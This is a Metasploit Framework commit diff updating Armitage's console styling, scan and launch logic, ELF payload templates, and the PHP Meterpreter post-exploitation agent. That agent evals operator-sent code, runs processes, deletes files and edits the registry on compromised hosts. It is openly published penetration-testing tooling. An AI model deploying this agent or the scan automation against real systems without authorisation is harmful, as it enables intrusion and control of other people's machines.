Updating release from master.

This commit is contained in:
Tod Beardsley 2012-05-22 14:12:08 -05:00
parent dd4aaa07fa
commit a37e98f159
135 changed files with 3412 additions and 795 deletions

View File

@ -112,7 +112,7 @@ Submitting Your Code
The process for submitting new modules via GitHub is documented here:
https://github.com/rapid7/metasploit-framework/wiki/Working-with-the-Framework-Repo
https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment
This describes the process of forking, editing, and generating a
pull request, and is the preferred method for bringing new modules

2
README
View File

@ -64,6 +64,6 @@ The framework mailing list is the place to discuss features and ask for help.
To subscribe, visit the following web page:
https://mail.metasploit.com/mailman/listinfo/framework
The archives are available from:
The e-mail archives are available from:
https://mail.metasploit.com/pipermail/framework/

Binary file not shown.

View File

@ -1,6 +1,36 @@
Armitage Changelog
==================
21 May 12
---------
- Added a hack to prevent the input area from flickering when the
prompt changes.
- Updated the color palette to something a little more subtle.
- Added an optimization to how modules are launched. This will make
a difference for team use in high latency situations.
- Rewrote MSF Scans feature to use console queue. This option is more
reliable and it makes the code easier to follow.
- Added a hack to combine chat message writes with a read request.
This will make the event log more responsive in a high latency
situation (can't you tell I care about this "situation")
- Fixed text highlights through Ctrl+F on Windows. UNIX platforms
were always OK. Another good reason to not use these tools on
Windows. Ever.
- View -> Downloads Sync Files feature now works on Windows. It looks
like leaving those pesky :'s in the file paths is bad.
17 May 12
---------
- Fixed bug with loot/download viewer breaking with a font resize.
- Default console font color is now grey. I never noticed that I had
white text on a black background before. That's a lot of contrast.
This is adjustable too through Armitage -> Preferences.
- And... the Armitage console now displays pretty colors. If you don't
like colors, set the console.show_colors.boolean preference to false
through Armitage -> Preferences.
- Fixed a bug preventing input field from getting focus when popping a
console tab using Ctrl+W.
14 May 12
---------
- Oopserific--dynamic workspace shortcuts were not bound until you

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,3 @@
Manifest-Version: 1.0
SVG-Handler-Class: Exploit

Binary file not shown.

Binary file not shown.

Binary file not shown.

0
data/meterpreter/ext_server_stdapi.jar Executable file → Normal file
View File

View File

@ -283,6 +283,7 @@ function cononicalize_path($path) {
# traditionally used this to get environment variables from the server.
#
if (!function_exists('stdapi_fs_file_expand_path')) {
register_command('stdapi_fs_file_expand_path');
function stdapi_fs_file_expand_path($req, &$pkt) {
my_print("doing expand_path");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
@ -320,18 +321,8 @@ function stdapi_fs_file_expand_path($req, &$pkt) {
}
}
if (!function_exists('stdapi_fs_mkdir')) {
function stdapi_fs_mkdir($req, &$pkt) {
my_print("doing mkdir");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
$ret = mkdir(cononicalize_path($path_tlv['value']),0777);
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
}
}
if (!function_exists('stdapi_fs_delete_dir')) {
register_command('stdapi_fs_delete_dir');
function stdapi_fs_delete_dir($req, &$pkt) {
my_print("doing rmdir");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
@ -340,9 +331,19 @@ function stdapi_fs_delete_dir($req, &$pkt) {
}
}
if (!function_exists('stdapi_fs_mkdir')) {
register_command('stdapi_fs_mkdir');
function stdapi_fs_mkdir($req, &$pkt) {
my_print("doing mkdir");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
$ret = @mkdir(cononicalize_path($path_tlv['value']));
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
}
}
# works
if (!function_exists('stdapi_fs_chdir')) {
register_command('stdapi_fs_chdir');
function stdapi_fs_chdir($req, &$pkt) {
my_print("doing chdir");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
@ -353,6 +354,7 @@ function stdapi_fs_chdir($req, &$pkt) {
# works
if (!function_exists('stdapi_fs_delete')) {
register_command('stdapi_fs_delete');
function stdapi_fs_delete($req, &$pkt) {
my_print("doing delete");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME);
@ -363,6 +365,7 @@ function stdapi_fs_delete($req, &$pkt) {
# works
if (!function_exists('stdapi_fs_getwd')) {
register_command('stdapi_fs_getwd');
function stdapi_fs_getwd($req, &$pkt) {
my_print("doing pwd");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd()));
@ -373,6 +376,7 @@ function stdapi_fs_getwd($req, &$pkt) {
# works partially, need to get the path argument to mean the same thing as in
# windows
if (!function_exists('stdapi_fs_ls')) {
register_command('stdapi_fs_ls');
function stdapi_fs_ls($req, &$pkt) {
my_print("doing ls");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
@ -413,6 +417,7 @@ function stdapi_fs_ls($req, &$pkt) {
}
if (!function_exists('stdapi_fs_separator')) {
register_command('stdapi_fs_separator');
function stdapi_fs_separator($req, &$pkt) {
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STRING, DIRECTORY_SEPARATOR));
return ERROR_SUCCESS;
@ -420,6 +425,7 @@ function stdapi_fs_separator($req, &$pkt) {
}
if (!function_exists('stdapi_fs_stat')) {
register_command('stdapi_fs_stat');
function stdapi_fs_stat($req, &$pkt) {
my_print("doing stat");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
@ -452,6 +458,7 @@ function stdapi_fs_stat($req, &$pkt) {
# works
if (!function_exists('stdapi_fs_delete_file')) {
register_command('stdapi_fs_delete_file');
function stdapi_fs_delete_file($req, &$pkt) {
my_print("doing delete");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
@ -467,6 +474,7 @@ function stdapi_fs_delete_file($req, &$pkt) {
}
if (!function_exists('stdapi_fs_search')) {
register_command('stdapi_fs_search');
function stdapi_fs_search($req, &$pkt) {
my_print("doing search");
@ -506,6 +514,7 @@ function stdapi_fs_search($req, &$pkt) {
if (!function_exists('stdapi_fs_md5')) {
register_command("stdapi_fs_md5");
function stdapi_fs_md5($req, &$pkt) {
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$path = cononicalize_path($path_tlv['value']);
@ -524,6 +533,7 @@ function stdapi_fs_md5($req, &$pkt) {
if (!function_exists('stdapi_fs_sha1')) {
register_command("stdapi_fs_sha1");
function stdapi_fs_sha1($req, &$pkt) {
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$path = cononicalize_path($path_tlv['value']);
@ -545,6 +555,7 @@ function stdapi_fs_sha1($req, &$pkt) {
# works
if (!function_exists('stdapi_sys_config_getuid')) {
register_command('stdapi_sys_config_getuid');
function stdapi_sys_config_getuid($req, &$pkt) {
my_print("doing getuid");
if (is_callable('posix_getuid')) {
@ -563,15 +574,17 @@ function stdapi_sys_config_getuid($req, &$pkt) {
}
# Unimplemented becuase it's unimplementable
if (!function_exists('stdapi_sys_config_rev2self')) {
function stdapi_sys_config_rev2self($req, &$pkt) {
my_print("doing rev2self");
return ERROR_FAILURE;
}
}
#if (!function_exists('stdapi_sys_config_rev2self')) {
#register_command('stdapi_sys_config_rev2self');
#function stdapi_sys_config_rev2self($req, &$pkt) {
# my_print("doing rev2self");
# return ERROR_FAILURE;
#}
#}
# works
if (!function_exists('stdapi_sys_config_sysinfo')) {
register_command('stdapi_sys_config_sysinfo');
function stdapi_sys_config_sysinfo($req, &$pkt) {
my_print("doing sysinfo");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n")));
@ -584,6 +597,7 @@ function stdapi_sys_config_sysinfo($req, &$pkt) {
$GLOBALS['processes'] = array();
if (!function_exists('stdapi_sys_process_execute')) {
register_command('stdapi_sys_process_execute');
function stdapi_sys_process_execute($req, &$pkt) {
global $channel_process_map, $processes;
@ -658,6 +672,7 @@ function stdapi_sys_process_execute($req, &$pkt) {
if (!function_exists('stdapi_sys_process_close')) {
register_command('stdapi_sys_process_close');
function stdapi_sys_process_close($req, &$pkt) {
global $processes;
my_print("doing process_close");
@ -711,6 +726,7 @@ function close_process($proc) {
# to decide what options to send to ps for portability and for information
# usefulness.
if (!function_exists('stdapi_sys_process_get_processes')) {
register_command('stdapi_sys_process_get_processes');
function stdapi_sys_process_get_processes($req, &$pkt) {
my_print("doing get_processes");
$list = array();
@ -760,6 +776,7 @@ function stdapi_sys_process_get_processes($req, &$pkt) {
# works
if (!function_exists('stdapi_sys_process_getpid')) {
register_command('stdapi_sys_process_getpid');
function stdapi_sys_process_getpid($req, &$pkt) {
my_print("doing getpid");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid()));
@ -768,6 +785,7 @@ function stdapi_sys_process_getpid($req, &$pkt) {
}
if (!function_exists('stdapi_sys_process_kill')) {
register_command('stdapi_sys_process_kill');
function stdapi_sys_process_kill($req, &$pkt) {
# The existence of posix_kill is unlikely (it's a php compile-time option
# that isn't enabled by default, but better to try it and avoid shelling
@ -798,6 +816,7 @@ function stdapi_sys_process_kill($req, &$pkt) {
}
if (!function_exists('stdapi_net_socket_tcp_shutdown')) {
register_command('stdapi_net_socket_tcp_shutdown');
function stdapi_net_socket_tcp_shutdown($req, &$pkt) {
my_print("doing stdapi_net_socket_tcp_shutdown");
$cid_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
@ -838,6 +857,9 @@ function deregister_registry_key($id) {
if (!function_exists('stdapi_registry_create_key')) {
if (is_windows() and is_callable('reg_open_key')) {
register_command('stdapi_registry_create_key');
}
function stdapi_registry_create_key($req, &$pkt) {
my_print("doing stdapi_registry_create_key");
if (is_windows() and is_callable('reg_open_key')) {
@ -871,6 +893,9 @@ function stdapi_registry_create_key($req, &$pkt) {
}
if (!function_exists('stdapi_registry_close_key')) {
if (is_windows() and is_callable('reg_open_key')) {
register_command('stdapi_registry_close_key');
}
function stdapi_registry_close_key($req, &$pkt) {
if (is_windows() and is_callable('reg_open_key')) {
global $registry_handles;
@ -889,6 +914,9 @@ function stdapi_registry_close_key($req, &$pkt) {
}
if (!function_exists('stdapi_registry_query_value')) {
if (is_windows() and is_callable('reg_open_key')) {
register_command('stdapi_registry_query_value');
}
function stdapi_registry_query_value($req, &$pkt) {
if (is_windows() and is_callable('reg_open_key')) {
global $registry_handles;
@ -926,6 +954,9 @@ function stdapi_registry_query_value($req, &$pkt) {
}
if (!function_exists('stdapi_registry_set_value')) {
if (is_windows() and is_callable('reg_open_key')) {
register_command('stdapi_registry_set_value');
}
function stdapi_registry_set_value($req, &$pkt) {
if (is_windows() and is_callable('reg_open_key')) {
global $registry_handles;

BIN
data/meterpreter/meterpreter.jar Executable file → Normal file

Binary file not shown.

View File

@ -30,6 +30,18 @@ if (!isset($GLOBALS['readers'])) {
$GLOBALS['readers'] = array();
}
# global list of extension commands
if (!isset($GLOBALS['commands'])) {
$GLOBALS['commands'] = array("core_loadlib");
}
function register_command($c) {
global $commands;
if (! in_array($c, $commands)) {
array_push($commands, $c);
}
}
function my_print($str) {
#error_log($str);
}
@ -389,14 +401,20 @@ function core_shutdown($req, &$pkt) {
# isn't compressed before eval'ing it
# TODO: check for zlib support and decompress if possible
function core_loadlib($req, &$pkt) {
global $commands;
my_print("doing core_loadlib");
$data_tlv = packet_get_tlv($req, TLV_TYPE_DATA);
if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) {
return ERROR_FAILURE;
} else {
eval($data_tlv['value']);
return ERROR_SUCCESS;
}
$tmp = $commands;
eval($data_tlv['value']);
$new = array_diff($commands, $tmp);
foreach ($new as $meth) {
packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, $meth));
}
return ERROR_SUCCESS;
}

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,42 @@
; build with:
; nasm elf_x86_template.s -f bin -o template_x86_linux.bin
BITS 32
org 0x08048000
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 1, 1, 1, 9 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ;
dw 2 ; e_type = ET_EXEC for an executable
dw 3 ; e_machine
dd 1 ; e_version
dd _start ; e_entry
dd phdr - $$ ; e_phoff
dd 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type = PT_LOAD
dd 0 ; p_offset
dd $$ ; p_vaddr
dd $$ ; p_paddr
dd 0xDEADBEEF ; p_filesz
dd 0xDEADBEEF ; p_memsz
dd 7 ; p_flags = rwx
dd 0x1000 ; p_align
phdrsize equ $ - phdr
global _start
_start:

View File

@ -0,0 +1,42 @@
; build with:
; nasm elf_x86_template.s -f bin -o template_x86_linux.bin
BITS 32
org 0x08048000
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 1, 1, 1, 6 ; e_ident
db 1, 0, 0, 0, 0, 0, 0, 0 ;
dw 2 ; e_type = ET_EXEC for an executable
dw 3 ; e_machine
dd 1 ; e_version
dd _start ; e_entry
dd phdr - $$ ; e_phoff
dd 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type = PT_LOAD
dd 0 ; p_offset
dd $$ ; p_vaddr
dd $$ ; p_paddr
dd 0xDEADBEEF ; p_filesz
dd 0xDEADBEEF ; p_memsz
dd 7 ; p_flags = rwx
dd 0x1000 ; p_align
phdrsize equ $ - phdr
global _start
_start:

Binary file not shown.

Binary file not shown.

View File

@ -3,7 +3,7 @@
<center><h1>Armitage 1.44-dev</h1></center>
<p>An attack management tool for Metasploit&reg;
<br />Release: 14 May 12</p>
<br />Release: 21 May 12</p>
<br />
<p>Developed by:</p>

View File

@ -16,7 +16,7 @@ console.page_up.shortcut=pressed PAGE_UP
console.highlight.color=\#0000cc
console.font_size_plus.shortcut=ctrl pressed EQUALS
console.font_size_minus.shortcut=ctrl pressed MINUS
console.foreground.color=\#ffffff
console.foreground.color=\#cccccc
console.background.color=\#000000
console.font.font=Monospaced-BOLD-14
graph.arrange_icons_hierarchical.shortcut=ctrl pressed H
@ -39,10 +39,20 @@ armitage.no_msf_banner.boolean=false
tab.highlight.color=#0000ff
armitage.show_all_commands.boolean=true
armitage.application_title.string=Armitage
console.color_0.color=#000000
console.color_1.color=#ffffff
console.color_2.color=#0000ff
console.color_3.color=#00ff00
console.color_4.color=#ff0000
console.color_5.color=#ffff00
console.color_6.color=#ff00ff
console.color_0.color=\#ffffff
console.color_1.color=\#000000
console.color_2.color=\#3465A4
console.color_3.color=\#4E9A06
console.color_4.color=\#EF2929
console.color_5.color=\#CC0000
console.color_6.color=\#75507B
console.color_7.color=\#C4A000
console.color_8.color=\#FCE94F
console.color_9.color=\#8AE234
console.color_10.color=\#069A9A
console.color_11.color=\#34E2E2
console.color_12.color=\#729FCF
console.color_13.color=\#AD7FA8
console.color_14.color=\#808080
console.color_15.color=\#c0c0c0
console.show_colors.boolean=true

View File

@ -0,0 +1,4 @@
^(..:..:..) \[\*\] (.*) $1 \cC[*]\o $2
^\[\*\] (.*) \cC[*]\o $1
^(..:..:..) \* (.*) $1 \cD*\o $2
^(\w+)> \u$1\o>

View File

@ -0,0 +1,11 @@
^msf> \umsf\u>
^meterpreter > \umeterpreter\u >
^msf > \umsf\u >
^msf (.*?)\((.*?)\) > \umsf\u $1(\c4$2\o) >
^\[\*\] (.*) \cC[*]\o $1
^\[\+\] (.*) \c9[+]\o $1
^\[\-\] (.*) \c4[-]\o $1
^ =\[ (.*) =[\c7 $1
^(=[=\s]+) \cE$1
^(\s*-[-\s]+) \cE$1
^(.*?): (.*) $1\cE:\o $2

View File

@ -13,6 +13,7 @@ sub createEventLogTab {
if ($client is $null && $console is $null) {
$client = [new ConsoleClient: $null, $mclient, "armitage.poll", "armitage.push", $null, "", $null];
$console = [new ActivityConsole: $preferences];
setupEventStyle($console);
logCheck($console, "all", "events");
[$client setWindow: $console];
[$client setEcho: $null];

View File

@ -150,7 +150,8 @@ sub launch_service {
}
sub _launch_service {
local('$c $key $value');
local('$c $key $value %options');
%options = copy($3);
if ('SESSION' in $3) {
$c = createDisplayTab($1, $host => sessionToHost($3['SESSION']), $file => "post");
@ -167,17 +168,15 @@ sub _launch_service {
}
if ($4 eq "payload" && $format eq "multi/handler") {
[$c addCommand: $null, "use exploit/multi/handler"];
[$c addCommand: $null, "set PAYLOAD ". substr($2, 8)];
[$c addCommand: $null, "set ExitOnSession false"];
[$c addCommand: $null, "use exploit/multi/handler"];
%options['PAYLOAD'] = substr($2, 8);
%options['ExitOnSession'] = 'false';
}
else {
[$c addCommand: $null, "use $2"];
}
foreach $key => $value ($3) {
[$c addCommand: $null, "set $key $value"];
}
[$c setOptions: %options];
if ($4 eq "exploit" || ($4 eq "payload" && $format eq "multi/handler")) {
[$c addCommand: "x", "exploit -j"];

View File

@ -33,6 +33,7 @@ sub downloadLoot {
local('$dest');
#$dest = chooseFile($title => "Where shall I save these files?", $dirsonly => 1, $always => 1);
$dest = getFileProper(dataDirectory(), $type);
mkdir($dest);
_downloadLoot(\$model, \$table, \$getme, \$dest, $dtype => $type);
}, \$model, \$table, \$getme, \$type));
}
@ -48,7 +49,7 @@ sub _downloadLoot {
# make the folder to store our downloads into
local('$handle $data $file');
if ($dtype eq "downloads") {
$file = getFileProper($dest, $host, $path, $name);
$file = getFileProper($dest, $host, strrep($path, ':', ''), $name);
}
else {
$file = getFileProper($dest, $host, $name);
@ -77,16 +78,15 @@ sub _postLoot {
($host, $location, $name, $type, $when) = $1;
[$2 append: "
#
# $host $+ : $name
#
", "3", "#00ff00"];
\c9#
\c9# $host $+ : $name
\c9#\n"];
if ("*binary*" iswm $type) {
[$2 append: "This is a binary file\n", "4", "#ff0000"];
[$2 append: "\c4This is a binary file\n"];
}
else {
[$2 append: getFileContent($location), $null, $null];
[$2 append: getFileContent($location)];
}
}

View File

@ -116,6 +116,7 @@ sub createMeterpreterTab {
# set up a meterpreter console window
$console = [new Console: $preferences];
setupConsoleStyle($console);
logCheck($console, sessionToHost($1), "meterpreter_ $+ $1");
[$console setPopupMenu: lambda(&meterpreterPopup, $session => sessionData($1), $sid => $1)];
@ -265,96 +266,88 @@ sub launch_msf_scans {
@modules = filter({ return iff("*_version" iswm $1, $1); }, @auxiliary);
$hosts = iff($1 is $null, ask("Enter range (e.g., 192.168.1.0/24):"), $1);
if ($hosts is $null) {
return;
}
thread(lambda({
local('$scanner $index $console %ports %discover $port %o $temp');
local('$scanner $index $queue %ports %discover $port %o $temp');
%ports = ohash();
%discover = ohash();
setMissPolicy(%ports, { return @(); });
setMissPolicy(%discover, { return @(); });
if ($hosts !is $null) {
elog("launched msf scans at: $hosts");
elog("launched msf scans at: $hosts");
$console = createConsoleTab("Scan", 1, $host => "all", $file => "scan");
[$console addSessionListener: lambda({
local('$text $host $port $hosts $modules $module @c');
$queue = createDisplayTab("Scan", $host => "all", $file => "scan");
foreach $text (split("\n", $2)) {
if ($text ismatch '... (.*?):(\d+) - TCP OPEN') {
($host, $port) = matched();
push(%discover[$port], $host);
}
else if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && $start == 1) {
$start = $null;
[[$console getWindow] append: "[*] Starting host discovery scans\n"];
[$queue append: "[*] Building list of scan ports and modules"];
foreach $port => $hosts (%discover) {
if ($port in %ports) {
$modules = %ports[$port];
foreach $module ($modules) {
@c = @("use $module");
push(@c, "set RHOSTS " . join(", ", $hosts));
push(@c, "set RPORT $port");
push(@c, "set THREADS 24");
push(@c, "run -j");
# build up a list of scan ports
foreach $index => $scanner (@modules) {
if ($scanner ismatch 'scanner/(.*?)/\1_version') {
%o = call($client, "module.options", "auxiliary", $scanner);
if ('RPORT' in %o) {
$port = %o['RPORT']['default'];
push(%ports[$port], $scanner);
}
push(@launch, @c);
}
safetyCheck();
}
}
# add these ports to our list of ports to scan.. these come from querying all of Metasploit's modules
# for the default ports
foreach $port (@(50000, 21, 1720, 80, 443, 143, 3306, 1521, 110, 5432, 50013, 25, 161, 22, 23, 17185, 135, 8080, 4848, 1433, 5560, 512, 513, 514, 445, 5900, 5038, 111, 139, 49, 515, 7787, 2947, 7144, 9080, 8812, 2525, 2207, 3050, 5405, 1723, 1099, 5555, 921, 10001, 123, 3690, 548, 617, 6112, 6667, 3632, 783, 10050, 38292, 12174, 2967, 5168, 3628, 7777, 6101, 10000, 6504, 41523, 41524, 2000, 1900, 10202, 6503, 6070, 6502, 6050, 2103, 41025, 44334, 2100, 5554, 12203, 26000, 4000, 1000, 8014, 5250, 34443, 8028, 8008, 7510, 9495, 1581, 8000, 18881, 57772, 9090, 9999, 81, 3000, 8300, 8800, 8090, 389, 10203, 5093, 1533, 13500, 705, 623, 4659, 20031, 16102, 6080, 6660, 11000, 19810, 3057, 6905, 1100, 10616, 10628, 5051, 1582, 65535, 105, 22222, 30000, 113, 1755, 407, 1434, 2049, 689, 3128, 20222, 20034, 7580, 7579, 38080, 12401, 910, 912, 11234, 46823, 5061, 5060, 2380, 69, 5800, 62514, 42, 5631, 902)) {
$temp = %ports[$port];
}
# add a few left out modules
push(%ports['445'], "scanner/smb/smb_version");
[$queue append: "[*] Launching TCP scan"];
[$queue addCommand: $null, "use auxiliary/scanner/portscan/tcp"];
[$queue setOptions: %(PORTS => join(", ", keys(%ports)), RHOSTS => $hosts, THREADS => 24)];
[$queue addCommand: "x", "run -j"];
[$queue addSessionListener: lambda({
this('$start @launch');
local('$text $host $port $hosts $modules $module $options');
foreach $text (split("\n", $3)) {
if ($text ismatch '... (.*?):(\d+) - TCP OPEN') {
($host, $port) = matched();
push(%discover[$port], $host);
}
else if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && $start is $null) {
$start = 1;
[$queue append: "\n[*] Starting host discovery scans"];
# gather up the list of modules that we will launch...
foreach $port => $hosts (%discover) {
if ($port in %ports) {
$modules = %ports[$port];
foreach $module ($modules) {
push(@launch, @($module, %(RHOSTS => join(", ", $hosts), RPORT => $port, THREADS => 24)));
}
}
}
}
if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' || $text ismatch '... Auxiliary failed: .*') {
if (size(@launch) == 0) {
$time = (ticks() - $time) / 1000.0;
[[$console getWindow] append: "\n[*] Scan complete in $time $+ s\n"];
}
else {
[[$console getWindow] append: "\n[*] " . size(@launch) . " scan" . iff(size(@launch) != 1, "s") . " to go...\n"];
thread(lambda({
local('$command');
foreach $command ($commands) {
[$console sendString: "$command $+ \n"];
yield 250;
}
}, \$console, $commands => shift(@launch)));
}
}
}
}, \$console, \%ports, \%discover, $start => 1, @launch => @(), $time => ticks())];
[[$console getWindow] append: "[*] Building list of scan ports and modules\n"];
# build up a list of scan ports
foreach $index => $scanner (@modules) {
if ($scanner ismatch 'scanner/(.*?)/\1_version') {
%o = call($client, "module.options", "auxiliary", $scanner);
if ('RPORT' in %o) {
$port = %o['RPORT']['default'];
push(%ports[$port], $scanner);
}
safetyCheck();
if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && size(@launch) > 0) {
[$queue append: "\n[*] " . size(@launch) . " scan" . iff(size(@launch) != 1, "s") . " to go..."];
($module, $options) = shift(@launch);
[$queue addCommand: $null, "use $module"];
[$queue setOptions: $options];
[$queue addCommand: $null, "run -j"];
}
else if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && size(@launch) == 0) {
$time = (ticks() - $time) / 1000.0;
[$queue append: "\n[*] Scan complete in $time $+ s"];
}
}
}, \$hosts, \%ports, \@modules, \%discover, \$queue, $time => ticks())];
# add these ports to our list of ports to scan.. these come from querying all of Metasploit's modules
# for the default ports
foreach $port (@(50000, 21, 1720, 80, 443, 143, 3306, 1521, 110, 5432, 50013, 25, 161, 22, 23, 17185, 135, 8080, 4848, 1433, 5560, 512, 513, 514, 445, 5900, 5038, 111, 139, 49, 515, 7787, 2947, 7144, 9080, 8812, 2525, 2207, 3050, 5405, 1723, 1099, 5555, 921, 10001, 123, 3690, 548, 617, 6112, 6667, 3632, 783, 10050, 38292, 12174, 2967, 5168, 3628, 7777, 6101, 10000, 6504, 41523, 41524, 2000, 1900, 10202, 6503, 6070, 6502, 6050, 2103, 41025, 44334, 2100, 5554, 12203, 26000, 4000, 1000, 8014, 5250, 34443, 8028, 8008, 7510, 9495, 1581, 8000, 18881, 57772, 9090, 9999, 81, 3000, 8300, 8800, 8090, 389, 10203, 5093, 1533, 13500, 705, 623, 4659, 20031, 16102, 6080, 6660, 11000, 19810, 3057, 6905, 1100, 10616, 10628, 5051, 1582, 65535, 105, 22222, 30000, 113, 1755, 407, 1434, 2049, 689, 3128, 20222, 20034, 7580, 7579, 38080, 12401, 910, 912, 11234, 46823, 5061, 5060, 2380, 69, 5800, 62514, 42, 5631, 902)) {
$temp = %ports[$port];
}
# add a few left out modules
push(%ports['445'], "scanner/smb/smb_version");
[[$console getWindow] append: "[*] Launching TCP scan\n"];
[$console sendString: "use auxiliary/scanner/portscan/tcp\n"];
[$console sendString: "set PORTS " . join(", ", keys(%ports)) . "\n"];
[$console sendString: "set RHOSTS $hosts $+ \n"];
[$console sendString: "set THREADS 24\n"];
[$console sendString: "run -j\n"];
}
[$queue start];
}, \$hosts, \@modules));
}

View File

@ -323,9 +323,9 @@ sub launchBruteForce {
[$console addCommand: $null, "use $type $+ / $+ $module"];
foreach $key => $value ($options) {
$value = strrep($value, '\\', '\\\\');
[$console addCommand: $null, "set $key $value"];
}
[$console addCommand: $null, "set REMOVE_USERPASS_FILE true"];
$options['REMOVE_USERPASS_FILE'] = "true";
[$console setOptions: $options];
[$console addCommand: $null, "run -j"];
[$console start];
}, $type => $1, $module => $2, $options => $3, $title => $4));

View File

@ -47,8 +47,6 @@ sub client {
%async['module.execute'] = 1;
%async['core.setg'] = 1;
%async['console.destroy'] = 1;
%async['console.write'] = 1;
%async['session.shell_write'] = 1;
#
# verify the client
@ -189,13 +187,15 @@ sub client {
release($poll_lock);
writeObject($handle, result(%()));
}
else if ($method eq "armitage.push") {
($null, $data) = $args;
event("< $+ $[10]eid $+ > " . $data);
writeObject($handle, result(%()));
}
else if ($method eq "armitage.poll") {
else if ($method eq "armitage.poll" || $method eq "armitage.push") {
acquire($poll_lock);
if ($method eq "armitage.push") {
($null, $data) = $args;
foreach $temp (split("\n", $data)) {
push(@events, formatDate("HH:mm:ss") . " < $+ $[10]eid $+ > " . $data);
}
}
if (size(@events) > $index) {
$rv = result(%(data => join("", sublist(@events, $index)), encoding => "base64", prompt => "$eid $+ > "));
$index = size(@events);

View File

@ -69,10 +69,33 @@ sub cleanText {
return tr($1, "\x01\x02", "");
}
sub setupConsoleStyle {
this('$style');
if ($style is $null) {
local('$handle');
$handle = [SleepUtils getIOHandle: resource("resources/msfconsole.style"), $null];
$style = join("\n", readAll($handle));
closef($handle);
}
[$1 setStyle: $style];
}
sub setupEventStyle {
this('$style');
if ($style is $null) {
local('$handle');
$handle = [SleepUtils getIOHandle: resource("resources/eventlog.style"), $null];
$style = join("\n", readAll($handle));
closef($handle);
}
[$1 setStyle: $style];
}
sub createDisplayTab {
local('$console $host $queue $file');
$queue = [new ConsoleQueue: $client];
$console = [new Console: $preferences];
setupConsoleStyle($console);
[$queue setDisplay: $console];
[new QueueTabCompletion: $console, $queue];
logCheck($console, iff($host, $host, "all"), iff($file, $file, strrep($1, " ", "_")));
@ -84,6 +107,7 @@ sub createDisplayTab {
sub createConsolePanel {
local('$console $result $thread $1');
$console = [new Console: $preferences];
setupConsoleStyle($console);
$result = call($client, "console.create");
$thread = [new ConsoleClient: $console, $client, "console.read", "console.write", "console.destroy", $result['id'], $1];
@ -114,9 +138,6 @@ sub createConsolePanel {
else if ($word in @payloads) {
[$thread sendString: "set PAYLOAD $word $+ \n"];
}
else if (-exists $word && !$REMOTE) {
saveFile($word);
}
}, \$thread)];
return @($result['id'], $console, $thread);
@ -135,9 +156,7 @@ sub createConsoleTab {
logCheck($console, $host, $file);
}
dispatchEvent(lambda({
[$frame addTab: iff($title is $null, "Console", $title), $console, $thread, $host];
}, $title => $1, \$console, \$thread, \$host));
[$frame addTab: iff($1 is $null, "Console", $1), $console, $thread, $host];
return $thread;
}
@ -455,10 +474,8 @@ sub module_execute {
$queue = createDisplayTab($1, \$host);
[$queue addCommand: $null, "use $1 $+ / $+ $2"];
foreach $key => $value ($3) {
[$queue addCommand: $null, "set $key $value"];
}
[$queue setOptions: $3];
if ($1 eq "exploit") {
[$queue addCommand: $null, "exploit -j"];
}

View File

@ -165,19 +165,30 @@ public class ArmitageApplication extends JFrame {
i.remove();
/* pop goes the tab! */
JFrame r = new JFrame(t.title);
final JFrame r = new JFrame(t.title);
r.setIconImages(getIconImages());
r.setLayout(new BorderLayout());
r.add(t.component, BorderLayout.CENTER);
r.pack();
r.setVisible(true);
r.addWindowListener(new WindowAdapter() {
public void windowClosing(WindowEvent ev) {
if (t.removeListener != null)
t.removeListener.actionPerformed(new ActionEvent(ev.getSource(), 0, "close"));
}
public void windowOpened(WindowEvent ev) {
r.setState(JFrame.NORMAL);
t.component.requestFocusInWindow();
}
public void windowActivated(WindowEvent ev) {
t.component.requestFocusInWindow();
}
});
r.setState(JFrame.ICONIFIED);
r.setVisible(true);
}
}
}

View File

@ -6,6 +6,7 @@ import sleep.console.*;
import sleep.bridges.*;
import sleep.error.*;
import sleep.engine.*;
import sleep.parser.ParserConfig;
import java.util.*;
